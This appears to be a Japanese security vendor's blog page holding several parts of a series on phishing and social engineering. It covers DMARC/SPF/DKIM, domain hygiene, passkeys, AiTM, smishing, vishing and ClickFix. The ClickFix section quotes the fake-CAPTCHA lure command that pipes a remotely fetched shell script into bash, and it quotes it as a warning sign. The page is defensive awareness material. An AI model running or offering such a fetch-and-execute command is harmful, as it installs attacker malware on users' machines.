ソーシャルエンジニアリング最前線
【第4回】企業が実践すべきフィッシング対策とは?

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本シリーズでは、「ソーシャルエンジニアリング最前線」として、2025年6月現在のフィッシングに代表されるソーシャルエンジニアリングに関する動向と企業・個人が取れる対策をまとめます。第4回は企業が行うべきフィッシング対策をまとめます。

フィッシング対策協議会が示す企業向けガイドライン 重要5項目

フィッシング対策協議会のガイドラインには重要5項目が掲げられています。

重要項目[1] 利用者に送信するメールでは送信者を確認できるような送信ドメイン認証技術等を利用すること
重要項目[2] 利用者に送信する SMS においては、国内の携帯キャリアに直接接続される送信サービスを利用し、事前に発信者番号等を Web サイトなどで告知すること
重要項目[3] 多要素認証を要求すること
重要項目[4] ドメイン名は自己ブランドと認識して管理し、利用者に周知すること
重要項目[5] フィッシングについて利用者に注意喚起すること

以下に特に重要な技術的要素を解説します。

フィッシング対策に重要なメール認証技術とは?SPF・DKIM・DMARCの導入ポイント

SPF・DKIM・DMARCの違いと仕組み

SPFDKIMDMARCBIMI
正規のサーバー(IP アドレス)から送信されたかを検証電子署名でメールを検証。メールヘッダー情報やメール本文も署名対象にできるSPFとDKIMの検証結果を使って検証。認証に失敗したメールの挙動を定められる正規メールであることをユーザが視認できる。適切に認証されたメッセージの横にブランド固有のインジケーターを表示するための規格
表: 送信ドメイン認証技術(出典:フィッシング対策協議会「フィッシング対策ガイドライン2025 年度版」p.15,図 3-1より抜粋)
  • DKIM,SPFはいずれかの検証結果をDMARCの検証に使用するため、いずれかまたは両方の設定が必要となります。
  • DMARCはDKIMまたはSPFいずれかまたは両方の検証結果がPASSであったうえで、送信元としてヘッダにあるドメインと実際の送信元ドメインが合致する場合にのみPASSする仕組みとなっています。
  • DMARCの検証結果がFAILの場合の挙動は送信元としてヘッダに記載されているドメインがDMARCポリシーレベルとして指定することができます。
  • BIMIはVMC/GMC/CMCという証明書を発行する規格で、発行された場合には一部のメールプラットフォームで自社のロゴなどを送信者情報に自社・組織アイコンを表示できます。DMARC等との相関性はありませんが、フィッシング対策およびブランディングの一つの方法として利用が始まっています。

本年1月に公開された情報では日本国内のDMARC導入済みの大企業はNikkei225企業で83%となっている一方、DMARCポリシーレベルは過半数が”none”(FAILした場合に監視)となっています注 1)。導入後、段階的にポリシーレベルを厳格化することが推奨されていることから、今後は少しずつ、quarantine(隔離)やreject(拒否)への移行が進むものと考えられます。

一方、大企業に限らず、DMARCの導入は日本全体としてどうなっているでしょうか。令和6年版情報通信白書では次の図の通りjpドメインに関しては20%程度の導入にとどまっているとされています。

送信ドメイン認証技術のJPドメイン導入状況
出典:総務省「令和6年版情報通信白書 第Ⅱ部 情報通信分野の現状と課題 第10節 サイバーセキュリティの動向 (4)送信ドメイン認証技術の導入状況」【関連データ】送信ドメイン認証技術のJPドメイン導入状況より

令和6年版の情報通信白書に掲載されているデータは2年ほど前のデータとなります。

Nikkei225企業の過去の導入率が2023年1月公開のデータで31%注 2)、2024年1月公開のデータで60%注 3)、2025年1月公開のデータで83%と、2024年を境に大きく改善していることを考えると、2025年現在では全体としてDMARCの導入は進んでいる可能性が高いと考えられます。この2024年の大きな改善の契機となったのが2024年2月からのGmailでのDMARC運用厳格化です。この時はフィッシング対策のため大量にメールを送信するケースに対してDMARC運用が段階的に厳格化されました。これを機に大企業ではDMARCの導入が進んだと考えられます。中小企業や他の組織についても、自社ブランドのドメイン保護のため、DMARCおよびDKIM、SPFの導入、またDMARCのポリシーレベルの段階的な厳格化を進めることが必要となっています。

一方、受信側のメールサーバの設定はDMARC未設定の送信者への配慮を含めた過剰なフィルタリングによるメールの未配送を防ぐためにDMARC以外の要素も含めたフィルタリングを行っていることが多いため、フィッシングメールを誤配送するケースがあります。Gmailでも段階的に受信/配信ポリシーの厳格化を行ったことから、受信側のメールサーバの設定や運用も徐々に今後厳格化する必要が出てくるでしょう。

なりすましメールを防ぐためのドメイン管理とサブドメイン維持の重要性

さて、DKIMやSPFといった検証方法は、真の送信元のドメインがヘッダに書かれているメールアドレスのドメインと異なる場合、DMARCの検証ではFAILになります。現状、多くの場合のフィッシングメールはなりすましている送信元とは全く関係のないドメインから送信されるため、DMARCがFAILになります。しかし、仮にドメインやサブドメインが乗っ取られる、または廃止ドメインが悪用されるといった場合は、真の送信元ドメインとヘッダのドメインが合致するために DMARCがPASSし、最も厳格にDMARCを運用しているGmailなどのサービスでもメールを受信することが可能となります。

ドメインやサブドメインの乗っ取り(ドメイン/サブドメインテイクオーバー)や廃止ドメイン/サブドメインの悪用はWebサーバのドメインも有効性や信頼度にも影響します。ドメインやサブドメインはいったん更新を行わないと一定期間登録ができない状態に置かれた後に洗顔による登録が可能となります。この瞬間に悪意のある第三者がドメイン・サブドメインを横取りすることをドロップキャッチと呼びます。過去に使用されていたドメイン・サブドメインは検索エンジンからの流入や他サイトのリンクからの流入などからソーシャルエンジニアリングの舞台として利用しやすい点を理解する必要があります。

ドメイン・サブドメインは自社のブランドを示す一つの資産であるということや、ドロップキャッチのような手法があることを理解する必要があります。そのうえで、登録されたドメインは可能な限り長期間にわたって維持できるよう、場合によっては運用停止後も保持を行うなどの対策も検討する必要があります。

サービス別に選ぶフィッシング対策に強い認証方式の選定ポイント

フィッシング協議会のガイドラインにもありますが、サービスの内容に応じた認証機構の選択が必要となります。特に第2回で触れたようにAiTMを用いたセッション情報の窃取により不正アクセスの手段を攻撃者が入手できるため、SMSやAuthenticatorアプリを使用した多要素認証が防御策となりえないケースが増えています。特に昨今話題の証券口座不正アクセス・取引事件のように、資産(ポイントを含みます)の移動をサービスとして提供する場合には耐フィッシング性の高い認証機構の導入を検討する必要も出てきています。

FIDO2・WebAuthnによるパスワードレス認証のメリット

多要素認証の中でも耐フィッシング性の高い技術とされているものがFIDO2、WebAuthn対応のパスワードレス認証となります。代表的な様式は以下の2つです。

  1. FIDO2対応の認証器
  2. FIDO2/WebAuthn対応のパスキー

いずれもパスワードは不要で、セッションによる認証のコントロールも行いません。認証サーバやWebサイトに対して紐づく公開鍵と、デバイス単位で保存する秘密鍵を生体認証経由で取り出して送信、公開鍵と照合してログインの承認を行う仕組みとなります。

まとめ:進化するソーシャルエンジニアリング攻撃と企業が取るべき対策

SQAT.jpでは過去もフィッシング対策に関する記事を公開しています。
フィッシングとは?巧妙化する手口とその対策

現在もフィッシングに限らず多様なソーシャルエンジニアリング攻撃が私たちの身の回りに増えてきています。1年前であれば多要素認証で充分であった認証機構も、今やAiTM攻撃のために耐フィッシング性を考慮する必要があります。1年前はその名前に言及すればよかったVishing(ビッシング)は今、自動音声通話詐欺の形で身近なものになっています。ClickFixや偽CAPTCHAのような手口もここ最近増加しています。マルバタイジングによる被害も目にすることが増えてきました。生成AIを悪用するケースも今後増えていくでしょう。生成AIサービスのガードレールの不備による悪用も増えることが想定されます。

本連載記事はわずか1年ほどの期間に起きた変化を読者の皆さんにお知らせする目的で公開しています。こうしている間にも、ソーシャルエンジニアリング攻撃の新しい手口が出てきているかもしれません。ソーシャルエンジニアリング攻撃は定量的な防御策の評価が難しいため、実際の被害が身近なところで発生しない限り、なかなか経営レベルでの問題として取り上げられづらい傾向にあります。とはいえ、企業や組織を動かすのは「人」です。第1回の記事にも書いた通り、人には人特有の脆弱性があります。攻撃者は人の脆弱性を悪用することに特化してソーシャルエンジニアリング攻撃を実行しています。対する我々は、人の脆弱性を知り、脆弱性を補うために何をすればよいかを検討しながら組織的に対応していくことが重要でしょう。

ソーシャルエンジニアリング対策としてのペネトレーションテスト活用法とは

ここ1年ほどの間に弊社ブロードバンドセキュリティ(BBSec)では、ペネトレーションテスト的なアプローチを用いたソーシャルエンジニアリング攻撃への防御策の評価を何度か実施しています。AiTMへの防御、フィッシング耐性、SSO環境の堅牢性といった従来の脆弱性診断では取り扱わない領域についても、お客様のスコープとシナリオなどに応じて検証のご提案をしております。

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【連載一覧】

―第1回「ソーシャルエンジニアリングの定義と人という脆弱性」―
―第2回「実例で解説!フィッシングメールの手口と対策」―
―第3回「フィッシングメールの最新トレンドとソーシャルエンジニアリング攻撃の手口」―

【関連記事】
【重要】楽天証券・SBI 証券をかたるフィッシングメールにご注意!
IPA 情報セキュリティ10大脅威からみる―注目が高まる犯罪のビジネス化―
フィッシングとは?巧妙化する手口とその対策
「情報セキュリティ 10 大脅威」3 年連続ベスト 3 入り、ビジネスメール詐欺を防ぐ手立ては?

【参考情報】

  • フィッシング対策協議会「フィッシングレポート2025
  • フィッシング対策協議会「フィッシング対策ガイドライン 2025年度版
  • フィッシング対策協議会「利用者向け フィッシング詐欺対策ガイドライン2025年度版
  • 注:
    1)フィッシング対策協議会「送信ドメイン認証技術「DMARC」の導入状況と必要性について
    2)https://www.proofpoint.com/jp/newsroom/press-releases/nikkei225-dmarc-implementation-rathio-2023
    3)https://www.proofpoint.com/jp/blog/email-and-cloud-threats/Global-DMARC-Adoption-Rate-Survey-2023

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    急増するフィッシング攻撃の実態と対策〜企業を守る多層防御とは〜
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    Webサイトの脆弱性はこう狙われる!OWASP Top 10で読み解く攻撃と対策
  • 2025年8月5日(火)14:00~15:00
    企業サイトオーナー向け ユーザーからのレピュテーションを高めるWebサイトの在り方-Webサイトを取り巻くリスク・規制・要請とユーザビリティ向上-
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    ソーシャルエンジニアリング最前線
    【第3回】フィッシングメールの最新トレンドとソーシャルエンジニアリング攻撃の手口

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    弊社では7月23日(水)14:00より、「急増するフィッシング攻撃の実態と対策〜企業を守る多層防御とは〜」と題したウェビナーを開催予定です。多要素認証や従業員教育、技術的防御など多層的なアプローチに加え、当社ソリューションによる効果的な防御手法もご紹介します。ご関心がおありでしたらぜひお申込みください。詳細はこちら

    本シリーズでは、「ソーシャルエンジニアリング最前線」として、2025年6月現在のフィッシングに代表されるソーシャルエンジニアリングに関する動向と企業・個人が取れる対策をまとめます。第3回はフィッシングを含めたソーシャルエンジニアリング攻撃の目的、最近話題の手口についてまとめます。

    ソーシャルエンジニアリング攻撃の目的と心理的手口

    ソーシャルエンジニアリング攻撃は攻撃者が被害者の心理や認知機能のバグを悪用したハッキング技法であることは第1回で紹介した通りです。ここではどんな手口でソーシャルエンジニアリング攻撃が仕掛けられるかを解説します。

    最も多いソーシャルエンジニアリングの手口「フィッシング」

    ソーシャルエンジニアリング攻撃で最も知られている手口はフィッシングでしょう。

    フィッシングメールの種類

    フィッシングといわれて最初に思い浮かべるフィッシングメールはフィッシングの一形態にあたります。フィッシングメールにもさまざまな種類があります。

    • フィッシングメールにマルウェアやマルウェアのダウンロードを行うアプリケーションを添付
      メールサービスやPCの機能などで検知しやすいことでも知られる
    • フィッシングメールにリンクを挿入し、リンク先から個人情報や認証情報を盗む、またはマルウェアのダウンロードを行う
      最近見られる手法にMicrosoft 365やGoogle Workspaceのログイン画面を精緻に再現した偽画面を使ったAiTMがある。日本国内で3月から5月にかけて問題となった証券口座への不正アクセス・不正取引事件も多くはこの手法を用いられたものと考えられる
    • 組織のコントロール外のサービスへ誘導し、マルウェアのダウンロードを行う
      会社のPCで求人サイトにアクセスし、会社で使用しているアカウントでGitHubにログインした状態で偽の採用担当者から指示された通り、コードを実行した結果暗号資産が盗難される事件などが発生している

    さて、最近ではフィッシングもメールだけのものではなくなりました。

    SMSを悪用した「Smishing(スミッシング)」

    スミッシングはSMSで行われるフィッシングです。皆さまがよく知るものでは宅配事業者の不在配達通知のSMSによるスミッシングがこれに該当します。

    QRコード型フィッシング「Quishing(クイッシング)」

    街中でお店のメニューやお店のSNS、レンタルのためなどいろいろなところで見かけるQRコードですが、このQRコードが偽のログイン画面や偽の決済画面にリンクしているものをQuishing(クイッシング)といいます。イギリスの例では、駐車場の支払機にあるQRコードからアプリケーションのダウンロードを促されてアプリケーションをダウンロードした際、銀行口座の詳細確認のために90ペンス(約176円)の手数料に同意したところ、年間39ポンド(約7,600円)の払い戻し条件なしのサブスクリプションサービスを契約させられていたケース 注 1)もあります。

    当初の被害が小さい(前述の例は90ペンス)ことなどから気付いても通報に至らないこと、決済情報や個人情報をQRコードでアクセスしたサイトで入力しているケースが多く、あとから詐欺に再度遭うこともあります。また、1人だけの被害であれば少額ですが、同じような被害者が数十人、数百人いるとさらに被害は拡大します。日本では現時点では一般的な手口ではありませんが、技術をさほど必要としない点を考慮すると同じ手口が流布する可能性が十分ある点に注意が必要でしょう。

    フィッシング・スミッシング・クイッシングの共通対策とは?

    フィッシング、スミッシング、クイッシングに共通する個人レベルの対策法は公式アプリ、公式サイト(ブックマーク)からのアクセスを心掛けることです。また、企業から貸与された端末経由でマルウェアのダウンロードをされるケースもあることから、企業から貸与された端末は目的外で使用しないことを徹底することも重要です。

    音声通話を悪用する「Vishing(ビッシング)」

    こちらは「声」によるフィッシング、Vishing(ビッシング)です。日本国内の被害事例としては2025年3月に山形鉄道が地元銀行を騙る自動音声の電話から誘導され、インターネットバンキングを経由し、およそ1億円の詐欺被害に遭った事例があります。

    インターネットバンキングによる送金詐欺以外には自動音声との組み合わせによるテクニカルサポート詐欺などがあります。また、最近では警察を騙る自動音声通話なども報告されています 注 2)。基本的に自動音声でかかってくる電話はビッシングを疑ったほうがよいのが現状です。いったん電話を切ってから警察相談専用電話#9110や消費者ホットライン188に相談しましょう。

    生成AIの進化で加速化するフィッシング手法

    フィッシング全般に共通しますが、数年前であればフィッシングメールやSMSの文面の日本語がたどたどしかったり、日本語で使われない漢字が使用されたりといった違和感から怪しさに気付けたのですが、ここ1年ほどは生成AIの発展により、日本語のテキストからたどたどしさや違和感が急速に消えています。第2回で取り上げたフィッシングメールも文法や語彙としておかしな箇所は非常に少なく、注意力が低下しているときや慌てているときであれば気付かないかもしれないという危機感を抱くレベルです。最近ではアメリカFBIが政府高官のディープフェイクによる音声メッセージについて警告を発したり 注 3)、実際にアメリカ政府高官の顔写真などからAIが生成した音声を悪用したりする事例 注 4)が報告されています。文章によるフィッシングだけではなく、音声や画像、動画によるフィッシングについても、今後は警戒する必要があるでしょう。また、生成AIでWebページを生成するサービスも出現しています。一部のサービスには脆弱性があり、生成・公開されたページからユーザの情報やAIサービスのAPIキーなどの漏洩が可能という問題があります。

    なお、このサービスでWebページを作るにはプロンプトを入力すればよいだけなので、ページによっては10~15分程度でフォームも含めて立ち上げることが可能です。また、サービスによってはAiTM用のなりすましページの作成などに制限もかからない可能性があり、生成AIによるソーシャルエンジニアリング攻撃への影響は多大なものがあります。

    マルバタイジング(悪意ある広告)によるフィッシングの脅威

    広告を介したソーシャルエンジニアリングをご存じでしょうか。一般的にはマルバタイジング(Malvertising)と呼ばれる手法で、広告から誘導する先が悪意のあるWebサイトである場合を指します。例えば以下のような事例があります。

    • 違法なストリーミングサイトに埋め込まれたマルバタイジングのリダイレクタからマルウェアが複数段に分けてダウンロードされ、認証情報が盗み取られた事例 注 5)
    • 正規のGoogle広告主の広告管理用サービスのアカウントを乗っ取り、マルバタイジングを行う事例 注 6)

    フィッシングと偽CAPTCHA:ClickFixの新手口に注意

    フィッシングやマルバタイジングなどの手法と併用されるものとして、ClickFix偽CAPTCHA(Fake CAPTCHA)という手法があります。ClickFixはもともと、アプリケーションのダウンロードサイトなどを模した偽サイトでエラー画面に模した画面を表示し、被害者にコマンドをコピーアンドペーストさせてマルウェアをダウンロードさせる攻撃です。元は不具合を修正(Fix)するためにコマンドを実行させることからついた名前ですが、もちろん修正すべきものは何もなく、セキュリティ防御のためのシステム(EDRなど)の検知をかいくぐるためにユーザにコマンドを実行させる点に特徴があります。

    ClickFixは単純なコマンドのコピーアンドペーストと実行から、その後偽のCAPTCHAやreCAPTCHA を介してコマンドを実行させるものへと進化しています。CAPTCHA または reCAPTCHA 認証に失敗したと見せかけて、コマンドのコピーアンドペーストと実行手順を表示し、エラーの解消にはこの手順を実行せよとするものです。実行手順にはWindowsであれば必ず Windowsボタン+R(Windowsのファイル名指定実行のショートカット)、macOSユーザであれば/bin/bash -c “$(curl -fsSL リモートのシェルファイルへのパス)”が表示されます。いずれもファイルを実行するための手順となります。これを見たら怪しいと思ってWebページを閉じ、会社のマシンを使っている場合は必ずIT部門に報告しましょう。

    このほかにも宿泊予約サイトに見せかけたClickFix手法も観測されています 注 7)。ダウンロードされるマルウェアは RAT やインフォスティーラーなど各種あり、この手法を悪用する攻撃者も様々です。日本語での事例はあまり見かけませんが、日本に対して過去に攻撃を実行したグループでの悪用例があり、画面の再現や実行手順の翻訳さえ整ってしまえばいつでも実行可能であることから、警戒するに越したことはありません。

    放置ドメインの悪用によるフィッシングリスクと対策

    閉鎖したはずのサブドメインやドメインが侵害され、フィッシングの誘導先やフィッシングメールの送信元として悪用されることもあります。自社のドメインやサブドメインが悪用されていないかの確認を定期的に行い、自社ブランドの価値を維持することも非常に重要です。

    アタックサーフェス調査の詳細については以下の記事をご参照ください。
    ASM(Attack Surface Management)と脆弱性診断

    企業が狙われるビジネスメール詐欺(BEC):フィッシングの延長にある脅威

    ビジネスメール詐欺についてはこちらの記事をご参照ください。
    情報セキュリティ10大脅威」3年連続ベスト3入り、ビジネスメール詐欺を防ぐ手立ては?


    ―第4回「企業が実践すべきフィッシング対策とは?」へ続く―

    【連載一覧】

    第4回「企業が行うべきフィッシング対策」」へ続く―

    ―第1回「ソーシャルエンジニアリングの定義と人という脆弱性」―
    ―第2回「実例で解説!フィッシングメールの手口と対策」―
    ―第4回「企業が実践すべきフィッシング対策とは?」―

    【関連記事】
    【重要】楽天証券・SBI 証券をかたるフィッシングメールにご注意!
    IPA 情報セキュリティ10大脅威からみる―注目が高まる犯罪のビジネス化―
    フィッシングとは?巧妙化する手口とその対策
    「情報セキュリティ 10 大脅威」3 年連続ベスト 3 入り、ビジネスメール詐欺を防ぐ手立ては?

    注:
    1)https://www.bbc.com/news/articles/cq6yznmv3gzo
    2)https://www.keishicho.metro.tokyo.lg.jp/kurashi/tokushu/police_officer.html
    3)https://www.ic3.gov/PSA/2025/PSA250515
    4)https://www.msn.com/en-us/news/us/us-government-is-investigating-messages-impersonating-trumps-chief-of-staff-susie-wiles/ar-AA1FMU7f
    5)https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/
    6)https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads
    7)https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/

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    【第2回】実例で解説!フィッシングメールの手口と対策

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    本シリーズでは、「ソーシャルエンジニアリング最前線」として、2025年6月現在のフィッシングに代表されるソーシャルエンジニアリングに関する動向と企業・個人が取れる対策をまとめます。第2回はつい先日まで世間を騒がせていたフィッシングメールに関する考察と、メールに含まれるリンクに関する考察、個人でとれる対策をお届けします。

    人の認知機能とフィッシングメール

    第1回の記事にも書いた通り、ソーシャルエンジニアリング攻撃を仕掛けてくる犯罪者は人間の認知機能をついたフィッシングメールを送ってきます。今回は2025年春に問題となった証券口座不正アクセス・取引事件のときに送られてきた一つのフィッシングメールを例に挙げて解説します。

    例からわかるポイントは以下の通りです。

    • A社からのメールを装うことで信頼感を上げようと試みている
      A社は著名な証券会社なため、信頼を獲得し、メールの内容を信じ込ませる(=説得)のに重要な要素となっています
    • A社からのメールであることを冒頭で繰り返すことで、アンカリング効果(最初に提示された情報が以下に正しいか思いこませる効果)を狙っている
      不安感や切迫感を所々で煽ることで認知機能の低下を促します。ここまでで肯定的にフィッシングメールを受け取る被害者に対して、ダメ押しで「よくある質問」を記載することで、確認バイアスを用いて最後の一押しをします

    フィッシングメールに潜む危険:スマホでは見抜けない偽装手法とは

    さて、例の中には3カ所、明らかにA社を騙ったものであることがわかる箇所があります。

    1. 送信元の名称は A 社なのに、B 社の送信専用メールアドレスが送信元として使用されている点
      これはパソコンで閲覧した場合にはすぐにフィッシングだとわかる一つのポイントですが、スマートフォンでは送信元の名称しか表示できないでしょう
    2. A社の正規のURLに見せかけた偽URL
      スマートフォンの性質上、タップしてブラウザで開かない限りURLを確認することはできません。ブラウザで開いた場合でも攻撃者の用意した正規サイトにそっくりなログイン画面か、正規サイトのログイン画面そのものが表示されます
    3. A社の問合せ電話番号を装ったフリーダイヤル
      スマートフォンの場合、ここまでたどり着くのに何回もスワイプする必要があります。ここまでの内容を信じてしまった場合、フリーダイヤルの番号が異なることに気づくことは難しいのではないでしょうか

    メールヘッダ情報で見抜くフィッシングメール

    この他にもスマートフォンで確認するのが難しいフィッシングメールの正体に関連する情報があります。それはメールのヘッダ情報です。先ほど例に挙げたメールのヘッダ情報はこちらです。

    Dmarc-SenderPolicy: reject
    Authentication-Results-Original: (メールサービス); spf=pass
    smtp.mailfrom=admin@(攻撃者が利用するドメイン); dkim=none header.d= header.b=; dmarc=fail
    header.from=(B社のドメイン)

    攻撃者が利用するドメインはトップレベルドメインの時点で B 社のドメインと異なるドメイン、つまりなりすましを行っていることがわかります。詳しく説明すると、下記のようになります。

    • Dmarc-SenderPolicy: reject
      B社のDMARCレコード上、なりすましを拒否するよう指定されていることを明示
    • Authentication-Results-Original: (メールサービス); spf=pass
      攻撃者のドメインのSPFレコードが参照され、PASSしている
    • dkim=none header.d= header.n=
      攻撃者側にDKIMの署名がない
    • DMARC= fail header.from(B 社のドメイン)
      B社のDMARC レコードに問題があるわけではなく、DMARCポリシーを参照したうえでなりすましなのでfail

    【用語解説】
    DMARC(Domain-based Message Authentication, Reporting, and Conformance)…メールソフトで表示されるメールアドレスで検証する技術の一つ。日本国内は導入が滞っている組織が多い
    SPF(Sender Policy Framework)…送信ドメイン認証の一つ。正規のサーバ/IPアドレスからの送信かどうかを検証するもの。ただし一部のなりすまし送信は検出せずPASSしてしまう
    DKIM(DomainKeys Identified Mail)…署名対象の情報を検証する認証技術の一つ。ただし署名に使うドメインの指定が可能なため、単体での検証の回避が可能

    未だにDMARCの実装が滞っている組織が多い関係で、SPF PASSで受信できるようポリシー設定が行われている場合が多く、これがこのメールの受信につながったとも考えられます。なお、この場合、B社には一切の通信が行われないため、B社でリアルタイムになりすましの悪用(ひいては自社のブランドイメージの毀損)に気付くことは困難です。DMARC認証を実装されている企業のはずなので、あとから「RUAレポート」と呼ばれる認証失敗のレポートでお気付きになるかもしれませんが、おそらく数多くのなりすましの被害に遭われているため、RUAレポートを確認して対策を行うのも非常に難しいのではないかと考えられます。

    次に、この攻撃者が使っているインフラを調べてみましょう。攻撃者が利用しているドメインでは評価スコアが検索できないため、送信元のIPアドレスで評価を確認しました。すると、とあるクラウドサービス事業者にたどり着きました。クラウドサービス事業者のインフラ上でWebページなどを公開している場合はWebページのコンテンツからサービスのカテゴリがわかることもありますが、コンテンツはどうやら存在しないようです。Whois 注 1)への登録がないこともわかりました。評価スコアをドメイン名で検索できなかったのはこれが原因でしょう。また、DNS lookup 注 2)も正引き・逆引きともに正しく動作していないことがわかっています。このIPアドレスを通して送信されているメールは27のIPアドレスからのメールのようで、2025年5月は主にゴールデンウィーク明け以降、5月末まで送信があったようですが、2025年6月はどのIPアドレスからもメールが送信されていないようでした。ただし、このIPアドレス群の評価スコアは中立または良好となっているため、攻撃が再開した際に再び悪用される可能性もあります。

    ここまででわかったことをまとめると以下の通りです。

    • スマートフォンで確認することが難しいメールのヘッダ情報には攻撃者の情報が含まれています
    • 一見B社のメールアドレスからの送信のように見えますが、実際はなりすましメールであり、B社がなりすましの悪用に気付くことは困難です
    • B社はDMARCの実装を行っている分、ある意味B社も被害者といえるでしょう
    • 攻撃者はクラウドサービスを利用することで攻撃インフラの流動性を高めている可能性があります
    • 金融庁の2025年6月5日付発表資料では、すでに不正アクセス件数は減少傾向に転じている 注 3)ことから、このIPアドレス群からのフィッシングメールの送信はいったんは止まる可能性が高いと考えられますが、今後の再悪用の可能性は否定できません。

    フィッシングメールに使われる偽リンクの見分け方とは

    次に本文内のリンクです。本文内のリンクはA社のオンラインサービスのログインページに見せかけたURLになっていますが、実際はC社の偽のログイン画面が表示されるようになっていました。ここで注意が必要なのは以下の2点です。

    1. 攻撃者は C 社のログイン画面偽装するか、をブラウザ上に表示することができます
    2. 現状、多くの証券会社が実装しているログイン方法であれば、攻撃者はログイン情報をすべて取得できるようになっています

    この手法は攻撃者中間攻撃(Attacker in the Middle、略称 AiTM)と呼ばれるもので、パスワードのみの認証はもちろん、多要素認証が有効な場合でもSMSやAuthenticatorアプリの利用であれば、時間ベースのワンタイムパスワード(TOTP)に加えてC社のサービスへのアクセスに使用するセッション情報も盗み取るものです。

    攻撃者中間攻撃(AiTM)の仕組み

    AiTMは被害者のふりをして C 社のサービスへのアクセスに必要な情報を盗み取ったうえで、不正アクセスを行います。この際、Authenticator アプリや SMS 認証がAiTMに対して脆弱であるのは、認証の成功がセッション情報(セッションクッキーやトークン)に紐づくところにあります。

    サービスによってはセッションを盗用されたところで大した被害は出ないケースもありますが、経済的に大きな打撃をユーザにもたらす可能性があるサービスについては、リスク管理の観点からもAiTMに耐性のある認証方式 注 4)注 5)の実装が求められるところです。

    ブロードバンドセキュリティ(BBSec)ではAiTMのモデルをもとにしたペネトレーションテストなども承っています。


    今回のケースでは不幸中の幸い?でA社のメールアドレスのなりすましではなくB社のメールアドレスのなりすまし、かつA社のサイトへのAiTMではなくC社のサービスへのAiTMだったため、ログインの前に気付かれたケースも多いのではないかと思います。しかし、A社のログイン画面、A社のメールアドレスのなりすましの場合であれば、最初に提示された情報から信頼度は揺るぐことがなく、多くの人が被害に遭った可能性も高いのではないでしょうか。

    フィッシングメールが仕掛けるマルウェア感染のリスク

    今回例に挙げたフィッシングメールは偽サイトへの誘導目的のフィッシングメールでしたが、未だにマルウェアのダウンロードを目的としたフィッシングメールも盛んに送られています。マルウェアの展開を目的としている場合、以下の3種類の経路が考えられます 注 6)

    1. メールへの添付ファイル経由
    2. リンク経由
      昨今見られるのはオンラインストレージ経由のものやマルバタイジングと呼ばれる悪意ある広告経由のものです
    3. SNSアカウントやGitHubのレポジトリなどの会社外のチャンネル経由
      例として北朝鮮を背景とするサイバー攻撃グループ「TraderTraitor」による暗号資産関連事業者へのサイバー攻撃 注 7)が挙げられます

    個人でできるフィッシングメールの基本的な対策

    フィッシング対策協議会では個人ユーザ向けに日ごろの習慣でフィッシングを回避するよう呼び掛けています 注 8)

    いつもの公式アプリ、いつもの公式サイト(ブックマーク)からのログインを

    第1回の記事でも取り上げたように、何よりも効果的な対策は無意識のレベルで安全な行動が習慣となっていることです。ログインをするときは必ず公式アプリ、公式サイト(ブックマーク)からのログインをお願いします。また特に焦っているとき、注意力が落ちているときにはフィッシングメールの罠にかかりやすいので、いったんメールを閉じて処理の手を止めるのが良いでしょう。


    ―第3回「フィッシングメールの最新トレンドとソーシャルエンジニアリング攻撃の手口」へ続く―

    【連載一覧】

    ―第1回「ソーシャルエンジニアリングの定義と人という脆弱性」―
    ―第3回「フィッシングメールの最新トレンドとソーシャルエンジニアリング攻撃の手口」―
    ―第4回「企業が実践すべきフィッシング対策とは?」―

    【関連記事】
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    「情報セキュリティ 10 大脅威」3 年連続ベスト 3 入り、ビジネスメール詐欺を防ぐ手立ては?

    注:
    1) IP アドレス・ドメイン名などの所有者の検索サービスおよびプロトコルを指します。
    2) ドメイン名と IP アドレスを紐づけ得るための DNS サーバへの問合せを行うことを指します。正引き(ドメイン名から IP アドレスを問合せる)と逆引き(IP アドレスからドメイン名を問い合わせる)があります。
    3) 金融庁「インターネット取引サービスへの不正アクセス・不正取引による被害が急増しています」(2025年6月6日閲覧),不正取引・不正アクセスに関する統計情報の表を参照
    4) 米国NIST「SP 800-63B」では認証のレベルがAAL1から3まで定義されている。NIST「SP800-63」では提供するサービスの内容やリスクといったものと照らし合わせて身元保証・認証・フェデレーションのレベルを選択することが推奨されています。
    5) 例えばパスキーやFIDO2対応のハードウェアキーのようにWebサイトのドメインと認証デバイスの紐づけにより、偽サイトでのログインが防止されるものを指します。(第3回記事で詳述します。)
    6) MITRE&ATTCK,Spearphishing Service,Spearphishing Attachment, Spearphishing Linkを参照。
    7) 警察庁「北朝鮮を背景とするサイバー攻撃グループ TraderTraitor による暗号資産関連事業者を標的としたサイバー攻撃について」(2024年12月24日公開)株式会社Ginco「当社サービスへのサイバー攻撃に関するご報告」(2025年1月28日公開)
    8) フィッシング対策協議会,フィッシングとはより

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    ソーシャルエンジニアリング最前線
    【第1回】ソーシャルエンジニアリングの定義と人という脆弱性

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    本シリーズでは、「ソーシャルエンジニアリング最前線」として、2025年6月現在のフィッシングに代表されるソーシャルエンジニアリングに関する動向と企業・個人が取れる対策をまとめます。第1回はソーシャルエンジニアリングの簡単な定義と、ソーシャルエンジニアリングで悪用される「人」にまつわる脆弱性をご紹介します。

    関連記事はSQAT.jpで公開中!こちらからご覧ください。
    ソーシャルエンジニアリングとは?その手法と対策

    ソーシャルエンジニアリングの定義

    ソーシャルエンジニアリングは人間の心理や認知機能を悪用したハッキングの技法を指します。よく知られている手法にはフィッシングがありますが、このほかにも様々な手法があります(第3回で詳述します)。

    人という脆弱性

    ソーシャルエンジニアリングが成立する背景には人間の心理や認知機能の問題や属性による前提知識といった人間固有の脆弱性があります。

    認知機能に関連する脆弱性

    皆さんはこんな状態になったことはありませんか?

    • 一点に注意が集中してしまい、周囲の情報を見落とす状態
      多くの人がいる中で待ち合わせをしていて、待ち合わせの相手を探すことに集中した結果、別の知り合いから声を掛けられたことに気付かなかったことはないでしょうか。こういった状態はほかのときでも起こる可能性があります
    • 複雑な作業を行う、大量の情報を処理するといったときについうっかり何かを見逃してしまう状態
      一点集中の場合と似ていますが、処理の複雑性や情報の量との因果関係もあります
    • 過大なストレスがかかったときに注意が緩んでしまう状態
      例えば身内の不幸や自身の病気の発覚など、心的ストレスがかかる状態のときに注意が緩んでしまうことはあるのではないでしょうか

    こういったときにソーシャルエンジニアリング攻撃の犠牲になりやすいといわれています。

    「認知バイアス」という脆弱性

